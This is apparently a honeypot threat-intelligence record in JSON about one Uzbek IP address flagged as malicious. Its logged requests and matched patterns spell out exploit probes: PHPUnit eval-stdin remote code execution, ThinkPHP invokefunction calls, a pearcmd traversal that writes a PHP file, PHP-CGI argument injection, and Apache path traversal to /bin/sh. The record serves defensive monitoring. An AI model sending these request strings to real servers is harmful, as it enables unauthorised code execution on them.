{"ip":"95.130.227.78","total_events":201,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,435,468 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,435,468 bytes sent","bytes_sent":2435468,"session_seconds":19,"persistent":false}},"first_seen":"2026-07-16T02:37:21","last_seen":"2026-09-24T09:47:44","events_24h":0,"events_7d":99,"geo":{"country_code":"UZ","country_name":"Uzbekistan","region":"Tashkent","city":"Tashkent","lat":41.2615,"lon":69.2177,"asn":35682,"org":"Best Internet Solution Xk"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":98},{"port":443,"proto":"tcp","label":"HTTPS","count":98},{"port":22,"proto":"tcp","label":"SSH","count":4},{"port":2375,"proto":"tcp","label":"Docker","count":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303d6f8b179becc22d53e5b755db31715f0c80ad91a1f3787c331dadd4367f2835a20c96abd42ffe36378d33a4484d3bb13565b637a4093c5fcbf31eb1046e84c02da0024eaea130313011302cca9cca8c02bc02fc02cc030c009c013c00ac014009c009d002f0035010005487a7a000000170000ff01000100000a000c000aaaaa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edaaaa00010011ec04c0dd6caa1924b2e568ad8e225b961b24cb497e2224b07fd90aaf8c7d77aa440aa2a8d111392f82238d80a2ebdc453fd15670818aa9620e3a0450d015b6d0790b9907970080b779b302c8633c098a492ed8565dec368da7200b9c5b4597625a04b44534677e981fd8562691a63548d2bb9d730692968fee6cbdc750ad0d83214c2675c48c1185061e3aa90bd120a1a6e7a5b8a1357c3a39d5629f89d12b15b856e84881e8176ba9228c4cf3c7a688cbd2ac26f959880bbb4c0a6121a2385ee0b4274f67748ab65e817bb328f5caa318b41c33a9d84494a8cbaf33495aa03c68e141913a075eef140a5b9c5a461b977ccb16bfcb63ae624ea7973e307159717111a8c9a3fe66c896a001533134a58606e1f9ce61896230d50da85a5835d7c13347a89d02a42569c794b1494a335def62a5bf2208ce921ffcf1ccda9324ab4a76dd0c225cc5835ce48f3b282a1d3273bf5731028a0d0febc20fc19892f8aa82479eed73bd7e37870311a459c943c5d76cb0db9f33581d58d70762ea9839b55f5097a25ecb70ebda39dd1b325a60412d1b85cd63a63610733cd16a57559664e30308362173fac32f9caa23e3353d8871e00cb0c40ba9572ca3489ba959c817216631bd2bab939163aae79942888f176774c5e989bba833a3d254dc41ba48a118c625c18c7497210614592009cb78250fbb43eed661ce0235b768277b79bc47e80bbb712154e10c0c91aae1ea7ca83a7fac62576f82cb498c0bcd338333215694681fc6124f210225f9192909d029c6da3627d83a770760457a4e633922915312d16824a1e005b5b9c1b9015ea6338bbad373bf469ec2c67307a6051a38b611c36aaec085b6804139e343c3a2752c573a645a7a62ab31fb136470556ba7f5843701b86cd7cb5c0a9106aa6dbe25a8a0d92c2461215c54a534371872907c33601bdd7349324a3a73ccb7ee8a6cb6941b13e22b00bd95f5225305f9c071a9c0a58535b19217c783402c83aea49a554b5794040a1110519982d1271d320941a24cc5a9929bf35a62971f09c781aabb1b374c5ef9c0955c16284487bdc6bc525733c32b35014541b072b702c0f31f73fab998d5051d0227b8981e94e1ab6329303e394720626ee31c62b65a58275a7d83e65d00bb3162517ec9b5506390a14018ac6a9cb00a0c7b54446a21629e6a6590a498bd4aa1207c170b56f27edb8448a146a7687c85e7a2130423c7009b983c6605144b5995a51689185e1fc39c6a50cf1fb26c19ac8713c6a14131b8fa6265f2907bc71a432f38b6b4db1d2532415542525b65b3b3175839c84e2c9803968b05a32311a5705883b55379550e9de7040e07509ae9a797243ebea46d310bcd2163c6b2716154620682aa2b856b9703b18a992605b5a0914afa69ea435ada978c5d37ce09667dfc081c3928801371c35a947975f641c7a32602044869691d43da460d2c2d76b18be009052d01440fbc7d5bc33c33e5a8fc554e4038919133b99ba7a39e7a7e15323da0e611f08337e30b4a3a2b701a505a16ca8f3a3c9e6aab1dcd30889733baea0478cecc03a9f1706f29591876c172350a614a00c9b1c491ec81e1fc298e16a977968f01d7b180d081aab27417b87df03b5fa9447bf087ec0cecc5c98c3818e20809946afbd2ce08eb04318f09a599eb7bd737e183299498ebc58c988849f48f9bdec40575770b4f52c55d5604547a001d002012e5ce5511752e251c5d83f1b34884fc0c7396c2c1f6089d3f920a88cfbcee56002d00020101002b0007066a6a030403032a2a0001","tls_ja3":["10a627ad22b67741a3319a1d42cbf0a6"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":142,"b11cun050_00040035_dd905059":280,"b11cuq070_00050835_c0b30902":224,"19532158b559096b89b1a5f7d17175b2":173},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-07-16","count":1},{"date":"2026-09-12","count":49},{"date":"2026-09-14","count":51},{"date":"2026-09-15","count":1},{"date":"2026-09-23","count":50},{"date":"2026-09-24","count":49}],"recent_events":[{"timestamp":"2026-09-24T09:47:44","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":49,"duration_ms":18879,"bytes_in":19092,"bytes_out":3822},{"timestamp":"2026-09-24T09:47:43","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":47,"duration_ms":18130,"bytes_in":18754,"bytes_out":3666},{"timestamp":"2026-09-24T09:47:43","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":48,"duration_ms":18505,"bytes_in":18940,"bytes_out":3744},{"timestamp":"2026-09-24T09:47:42","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":44,"duration_ms":17000,"bytes_in":18013,"bytes_out":3432},{"timestamp":"2026-09-24T09:47:42","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":45,"duration_ms":17378,"bytes_in":18252,"bytes_out":3510},{"timestamp":"2026-09-24T09:47:42","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":46,"duration_ms":17754,"bytes_in":18498,"bytes_out":3588},{"timestamp":"2026-09-24T09:47:41","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":41,"duration_ms":15872,"bytes_in":17199,"bytes_out":3198},{"timestamp":"2026-09-24T09:47:41","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":43,"duration_ms":16624,"bytes_in":17743,"bytes_out":3354},{"timestamp":"2026-09-24T09:47:41","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":42,"duration_ms":16250,"bytes_in":17472,"bytes_out":3276},{"timestamp":"2026-09-24T09:47:40","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f626c6f672f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"f43fcfe9-a456-4008-9a38-abefd804d5d1","seq":39,"duration_ms":15119,"bytes_in":16644,"bytes_out":3042}],"http_methods":[{"method":"GET","count":169},{"method":"POST","count":28}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/json","count":5,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":4,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":4,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":4,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":3}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-30T11:26:56.654005+00:00"}